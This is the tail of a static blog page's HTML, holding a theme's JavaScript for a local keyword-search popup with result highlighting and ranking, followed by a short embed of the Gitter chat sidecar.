        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

  
<script>
  ((window.gitter = {}).chat = {}).options = {
    //room替换成自己的聊天室名称即可，room的名称规则是：username/roomname
    room: 'sushengbuhuo-chat/mychat'
  };
</script>
<script src="https://sidecar.gitter.im/dist/sidecar.v1.js" async defer></script>

</body>
</html>
